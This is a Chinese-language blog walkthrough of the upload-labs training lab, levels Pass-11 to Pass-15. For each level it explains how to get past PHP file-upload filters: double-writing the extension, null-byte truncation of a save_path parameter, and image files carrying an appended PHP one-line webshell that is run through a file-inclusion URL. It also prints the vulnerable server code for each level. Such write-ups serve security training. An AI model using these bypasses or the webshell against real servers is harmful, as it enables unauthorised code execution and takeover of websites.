upload-labs通关(Pass-11~Pass-15)

2023-11-18

目录

Pass-11

Pass-12

Pass-13

Pass-14

Pass-15


Pass-11

什么鬼,我都做好了上传不成功的准备,结果sh.php居然上传成功了。

一看Response报文,果然事情没有这么简单,后端自动把文件名中的php去掉了,文件名变成sh.了

这样的话,盲猜可以用双写绕过。这关直接在repeater中试一下,就不劳intruder大驾了。

果然,双写php之后,服务器上保存的文件名是sh.php,成功绕过黑名单过滤。

代码分析:

本关代码在文件名中出现黑名单中的字符串时,用str_ireplace()函数替换为啥也没有,但是这个替换它不迭代,所以采用套娃的方式双写敏感后缀就可以绕过了。

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

Pass-12

上传sh.php之后,看这关页面返回的提示,似乎是白名单过滤呢

不死心,burp中把上图所示的报文send to repeater,发现filename改成sh.xxx上传失败,改成sh.jpg上传成功。看来真是文件名后缀的白名单过滤……

白名单还怎么玩呢(如果没有文件包含漏洞的话)……幸好这关看上去上传的文件的保存路径是用户可控的。如上图所示,请求报文的url中有个save_path参数,文件上传到服务器后的位置似乎是由这个参数决定的,这就给了%00截断发挥的机会。

构造请求报文,filename保持sh.jpg,为的是通过对文件名后缀的白名单校验;save_path的值改为 ../upload/sh.php%00,为的是使程序以为上传的文件应该保存为../upload/sh.php

虽然Response报文中显示的图片路径挺奇葩,但是后面分析代码的时候就知道显示的这个并不是文件真正的路径,实际上文件被保存为C:\phpstudy_pro\WWW\upload-labs\upload\sh.php

 

特别注意:

%00截断对PHP版本和配置是由要求的:

(1)PHP版本小于5.3.4

(2)php.ini中magic_quotes_gpc = Off

有两个关于%00截断的博文感觉还可以:

WEB-00截断与%00截断 | wh1te (lddp.github.io)

过气的00截断 - 云+社区 - 腾讯云 (tencent.com)

代码分析:

从下面这段代码的第3和第4行可知,文件名后缀白名单检测的位置是filename参数值,而从第6行可知,本关文件最后保存的路径是由url中save_path的值和一个随机数以及通过filename传入的文件名后缀组成的。所以本关具备%00截断的条件,即后缀白名单检测位置和最终保存位置是通过不同参数传入的。

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

另外,从下面的代码可知,Response报文中回显的文件路径其实只是字符串拼接后的值,并不是执行move_uploaded_file()函数之后文件的真正保存路径。

                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>

Pass-13

和上一关一样瞅着页面提示像白名单过滤 

burp中把上图所示的报文send to repeater,发现filename改成sh.xxx上传失败,改成sh.jpg上传成功,确实也是文件名后缀白名单过滤

观察到如上图所示,本关和上一关一样,请求报文中有个save_path参数,只不过位置不在url中,而是作为请求正文的一部分。那还是试试0x00截断

像下图这样,filename设置为sh.jpg,save_path的值改为 ../upload/sh.php后面跟一个空格或者任何你知道它的十六进制ascii码的字符作为定位符。

在repeater中Request报文的Hex选项卡中找到刚刚那个定位符,修改为00,发送后发现文件上传成功

上传到服务器上的webshell文件位置如下图所示

 

代码分析:

睿智的你看到本关的代码一定有一阵熟悉感涌上心头。本关代码和上一关差不多,不多说了,就组装$img_path的时候取save_path的值的方法不一样,上一关是$_GET['save_path'],这关是$_POST['save_path']。

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

Pass-14

这关要求是上传图片马,然后用文件包含漏洞来利用 

那就先做图片马吧。我分别做了jpeg,png和gif格式的图片马,方法是从网上分别下载三种格式的图片,然后用HxD打开(其实用notepad++打开也行),在结尾加上一句话木马

<?php @assert($_POST[pass14]);?>

比如jpeg格式的如下,其他两种格式的类似

 

先来试试jpeg格式的图片马好不好使。上传 bai-shell.jpeg,上传成功。

在本关页面“文件包含漏洞”几个字上面点一下,可以得到文件包含漏洞所在url和代码,从如下代码可知,图片马可以通过file参数包含。

再获取到图片地址就可以连webshell了。图片地址可以通过查看网页源代码,或者在图片上右键复制图像链接获得。

把上面两个信息拼接一下,发现需要连接的url是http://192.168.101.16/upload-labs/include.php?file=./upload/3320211009020831.jpg 

用蚁剑连接成功

其他两种格式的套路是一样的,就不详细说了,下面是png格式

 下面是gif格式:

 血泪教训:

在上传png格式图片马的时候发现蚁剑连接不成功,直接在浏览器访问利用图片马的url发现有报错,比如

网上查了一下发现和php语法之类的有关,本来我想着用notepad++打开,把对应的行删掉,哪知道删掉一行又报另一行的错。

建议大家做图片马的时候,一定要找小一点的图片,如果找不到中意的小图,可以用在线缩小图片的工具缩一下,比如: 

在线缩小图片: 高级模式 (reduction-image.com) 

代码分析:

本关定义了一个getReailFileType()函数,用以检测上传的文件的头两个字节,以此判断文件是否合法,并以此决定上传后的文件的后缀名。

看了代码之后,我发现这关我自己做复杂了,其实一句话木马不需要插在真实图片里面,只要在一句话木马之前加上jpg或者gif或者png文件的前两个字节就行。

不过将木马插在真实图片中当然更好,更通用。

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-15

这关我用Pass-14的三个图片马试了一下,都是可以成功上传和连接的,所以这关就不再重复说了,通关过程详见Pass-14。

代码分析:

本关用getimagesize()函数获取图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度,并将其取出的文件类型信息$info[2]与文件后缀白名单$types进行对比,判断上传的文件是否合法,并将$info[2]作为上传后的文件的后缀名。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

upload-labs通关(Pass-11~Pass-15) 的相关文章

  • 适用于真正复杂查询的 ORM 解决方案

    在这样复杂的情况下 人们可以 应该使用任何 ORM 解决方案吗 这可以用以下方法完成吗Propel or Doctrine 目前我正在使用 Propel 所以如果有 Propel 解决方案 我会很高兴 如果我使用 propel 进行直接查询
  • REST API 响应中的校验和

    发送带有响应内容的校验和是个好主意吗 如果是这样 计算校验和的最常见方法是什么 Example HTTP 1 1 200 OK Date Thu 30 Jun 2011 21 32 20 GMT Server Apache Connecti
  • 清理 php 中的句子

    标题可能听起来很奇怪 但我有点尝试设置这个 preg replace 来处理文本区域的混乱写入者 它必须 如果有感叹号 则不应连续出现另一个感叹号 如果有 则逗号胜出 并且必须是 当昏迷前有一个 空格时 应将其减少到零 该句子不能以逗号开头
  • 正则表达式删除带有数字的单词

    我想删除产品名称中带有数字 参考 或小单词 2 个或更少字符 的单词 但我找不到好的正则表达式 一些例子 链式防回弹ECS 2035 应成为 链式防反弹 指南 35 厘米俄勒冈 Intenz 应该成为 俄勒冈州 Intenz 指南 Tron
  • 帮助我将以十六进制表示的长值转换回日期/时间

    我有一个日期值 据说它是 8 个字节 一个 long 又名 int64 值 并转换为十六进制 60f347d15798c901 我如何使用 PHP 将这个和类似的值转换为时间 日期 将其转换为十进制给我 96 243 71 209 87 1
  • PHP json_encode json_decode UTF-8

    如何将包含国际字符的 json 编码字符串保存到数据库 然后在浏览器中解析解码后的字符串
  • PHP - 将文件系统路径转换为 ​​URL

    我经常发现项目中的文件需要从文件系统和用户浏览器访问 一个例子是上传照片 我需要访问文件系统上的文件 以便可以使用 GD 来更改图像或移动它们 但我的用户还需要能够从类似以下的 URL 访问文件example com uploads myp
  • CodeIgniter 2.1.0 的会话库中是否存在任何已知错误?为什么我会被踢出去? [关闭]

    这个问题不太可能对任何未来的访客有帮助 它只与一个较小的地理区域 一个特定的时间点或一个非常狭窄的情况相关 通常不适用于全世界的互联网受众 为了帮助使这个问题更广泛地适用 访问帮助中心 help reopen questions 我正在开发
  • 带数组的双美元变量

    我正在尝试使用双美元语法访问数组的第一项 但它无法按照我想要的方式工作
  • 查找关联数组中最小值的键

    在 PHP 中 假设您有一个如下所示的关联数组 pets array cats gt 1 dogs gt 2 fish gt 3 我如何找到具有最低值的密钥 在这里 我要寻找cats 是否有一些我错过的内置 PHP 函数可以实现此目的 如果
  • MySQL - 重命名列

    如何重命名 mysql 列help to content在我的桌子上tbl help mysql query ALTER TABLE tbl help CHANGE COLUMN help content 您必须在更改列语句中包含列的定义
  • ios 无法将图片上传到服务器

    您好 我正在尝试将图像从我的 IOS 设备上传到服务器 这是我上传图像的代码 IBAction btnUpload id sender if self imageViewGallery image nil UIAlertView Error
  • WSDL 中的数组响应 - SOAP PHP

    在我的 wsdl 代码中 我得到一个整数 我想返回数组中的结果 为什么在我的输入中我只有一个整数 而我需要数组中的结果 因为在我的 php 函数中 我想从客户端选择的整数中的数据库返回信息 例如 我的客户发送1 在我的php中 我从数据库中
  • PHP 的 USORT 回调函数参数

    这是一个非常深奥的问题 但我真的很好奇 今天是我多年来第一次使用 usort 我对到底发生了什么特别感兴趣 假设我有以下数组 myArray array 1 9 18 12 56 我可以用 usort 对此进行排序 usort myArra
  • 根据 WooCommerce 中的订单数量设置折扣

    在WooCommerce中 如何根据订单数量设置折扣 例如 我想根据客户订单应用折扣 首单折扣 50 美元 第二次订购折扣 30 美元 第三次订购折扣10美元 我搜索过互联网但没有找到任何可用的解决方案或插件 Thanks 这是一个挂钩的自
  • 帮助将二进制图像数据从 SQL Server 读取到 PHP 中

    我似乎无法找到将二进制数据从 SQL 服务器读取到 PHP 的方法 我正在开发一个项目 需要能够将图像直接存储在 SQL 表中 而不是文件系统上 目前 我一直在使用这样的查询 插入 myTable 文档 选择 从 OPENROWSET BU
  • 如何使用 JQuery 提取嵌套 HTML 中的文本?

    我这里有 HTML 代码 div class actResult style border solid table tbody tr td Order Number td td 1 td tr tr td Customer Number t
  • 如何使用 php 通过 https 下载文件

    我需要使用 PHP 下载 xml 文件 我可以在对文件进行curl 调用时通过设置以下选项来读取文件的内容 curl setopt http CURLOPT SSL VERIFYPEER false curl setopt http CUR
  • PHP 生成文件供下载然后重定向

    我有一个 PHP 应用程序 它创建一个 CSV 文件 强制使用标头下载该文件 这是代码的相关部分 header Content Type application csv header Content length filesize NewF
  • localhost/test.php 不返回任何内容

    我正在遵循教程构建一个网络应用程序 我创建了一个简单的test php网络空间中的文件 var www html 问题是当我输入localhost test php在浏览器地址窗口中 它返回一个空页面 我试过localhost php in

随机推荐

  • 4.Docker--Consul

    Docker Consul 引言 Consul是HashiCorp公司推出的开源工具 Consul由Go语言开发 部署起来非常容易 只需要极少的可执行程序和配置文件 具有绿色 轻量级的特点 Consul是分布式的 高可用的 可横向扩展的用于
  • 计算机运行慢提速小技巧,教你为Win7系统加速的五个技巧

    在我们使用电脑久了之后 不少用户就会发现系统的运行速度变慢了好多 这有可能是因为电脑使用久了之后电脑里面就会残余有一些垃圾文件 过多的垃圾文件占用了系统盘就会影响电脑的运行速度 那么用户可以选择使用第三方软件对电脑进行优化之外 还可以选择对
  • Python 接口并发测试详解

    一 接口并发测试简介 1 性能测试简介 性能测试是通过自动化测试工具模拟多种正常 峰值及异常负载条件对系统的各项性能指标进行的测试 负载测试和压力测试都属于性能测试 两者可以结合进行 通过负载测试 确定在各种工作负载下系统的性能 目标是测试
  • 发现新大陆

    csdn很久没有发博客了 当发现博客园可以进行一些骚操作之后 而CSDN又存在很多限制 相比较下 毅然选择了博客园 博主博客园首页链接地址 https www cnblogs com twq46 如果有想继续看博主的分享可以访问该链接
  • python opencv卡尺测量边缘距离

    opencv 卡尺法 测量边缘距离 参考来源 https github com crackwitz metrology demo 前言 一 测量方法 二 测量步骤 1 获取直线的像素 2 高斯滤波平滑曲线 3 计算跳变幅度值 4 计算距离值
  • 赶上ChatGPT的车,百度文心一言和阿里通义千问上线

    百度 文心一言 地址 https yiyan baidu com 阿里 通义千问 地址 https tongyi aliyun com 以下介绍来自官方 一 文心一言 介绍 你好 我是文心一言 ERNIE Bot 作为一个人工智能语言模型
  • Web3领域中最值得关注的3大主题

    这是白话区块链的第1792期原创 作者 Tony编译 火火出品 白话区块链 ID hellobtc 2014年 以太坊联合创始人加文 伍德 Gavin Wood 提出Web 3 0概念 将其描述为一种全新的互联网运行模式 用户自己发布 保管
  • Default Activity not found解决方法

    项目场景 最近开始学习Android 第一次尝试建立一个空白项目 手动添加activity时出现报错 Default Activity not found 问题描述 运行时程序可以正常编译 但不能发布到AVD上 查看了几篇博文 发现这篇方法
  • 2021ccpc女生赛(山东淄博)

    G 3G网络 K 音乐游戏 D 修建道路 A 公交线路 I 驾驶卡丁车 C 连锁商店 补题链接 这一次的开题顺序有点不好 G这个最简单的题目一开始没有开出来 然后开了另一个结果题目有点一个点读漏了 然后就做的复杂了一点 虽然a了 同是五道题
  • 对象的初始化和清理(构造和析构函数)

    对象的初始化和清理 1 1 构造函数 1 1 1 没有返回值 没有void 类名相同 可以发生重载 1 2 构析函数 1 2 1 没有返回值 没有void 函数名称 类名 不可以发生重载 不可以有参数 1 3 系统会默认调用 构造函数和析构
  • Javascript 使用js文件引入其他js文件

    注 js无法像php文件引入其他php文件到当前文件那样 require b php 只能通过html的标签通过url引入到html页面 当前js文件中添加 var scripts document getElementsByTagName
  • express脚手架安装和使用,node添加跨域处理

    前言 node的脚手架 express generator 的安装和使用 安装 步骤一 全局安装脚手架 npm i express generator g cnpm i express generator g 可以运行命令 express
  • el-select el-option未回显选中或显示value值

    现象描述 el select组件在数据回显时 未选中默认值 如下图所示 问题分析 很有可能是由于数据类型不一致导致的 比如后台接口返回的字段类型为int 但前端el option设置的value为String类型 因此只需要对后台接口返回的
  • 包含函数体的 INLINE 不是一种好的实践

    前几天碰到了一个很奇怪地错误 wmemcpy 已经定义在 A obj 中 经过查看头文件 wchar h 发现是一个有函数体的 inline 函数 可以看出上面的错误 是由于 inline 编译未生效导致的 经搜索需要开启优化级别 o2 才
  • 【实践经验】pip更改源加速下载

    目录 国内镜像 临时使用国内镜像 永久更换软件镜像 pip的默认源在安装软件包的时候非常慢 因此可以考虑使用国内的镜像加速下载和安装 在使用国内镜像的时候分为两种方式 1 临时使用镜像源 2 永久切换镜像 国内镜像 国内的镜像主要有以下几个
  • ubuntu16.04cuda10.0卸载、安装、查看版本信息

    一 Ubuntu16 04查看CUDA和CUDNN版本 1 cuda一般安装在 usr local cuda 路径下 该路径下有一个version txt文档 里面记录了cuda的版本信息 cat usr local cuda versio
  • 2023 LIGHTGBM 深度学习方法使用简易教程 入坑向

    一 需求背景及问题 项目要求使用LIGHTGBM进行本地数据的回归处理预测并要求做出Factors Importance的可视化处理 二 使用详情 1 LIGHTGBM框架使用目的 使用LIGHTGBM处理factors数据并作出regre
  • DBA思考方式感悟

    author skate time 2012 07 21 DBA思考方式感悟 某某牛人为什么能想到那么绝妙的方法 某某人为什么那么聪明 这样的话大家都听过 有时想想大家先天素质都差不多 那就是后天人家爱思考 知道如何思考 于是聊聊如何让自己
  • 注意力机制Attention详解

    注意力机制Attention详解 一 前言 2018年谷歌提出的NLP语言模型Bert一提出 便在NLP领域引起热议 之所以Bert模型能够火出圈 是由于Bert模型在NLP的多项任务中取得了之前所有模型都不能达到的出色效果 那么Bert模
  • upload-labs通关(Pass-11~Pass-15)

    目录 Pass 11 Pass 12 Pass 13 Pass 14 Pass 15 Pass 11 什么鬼 我都做好了上传不成功的准备 结果sh php居然上传成功了 一看Response报文 果然事情没有这么简单 后端自动把文件名中的p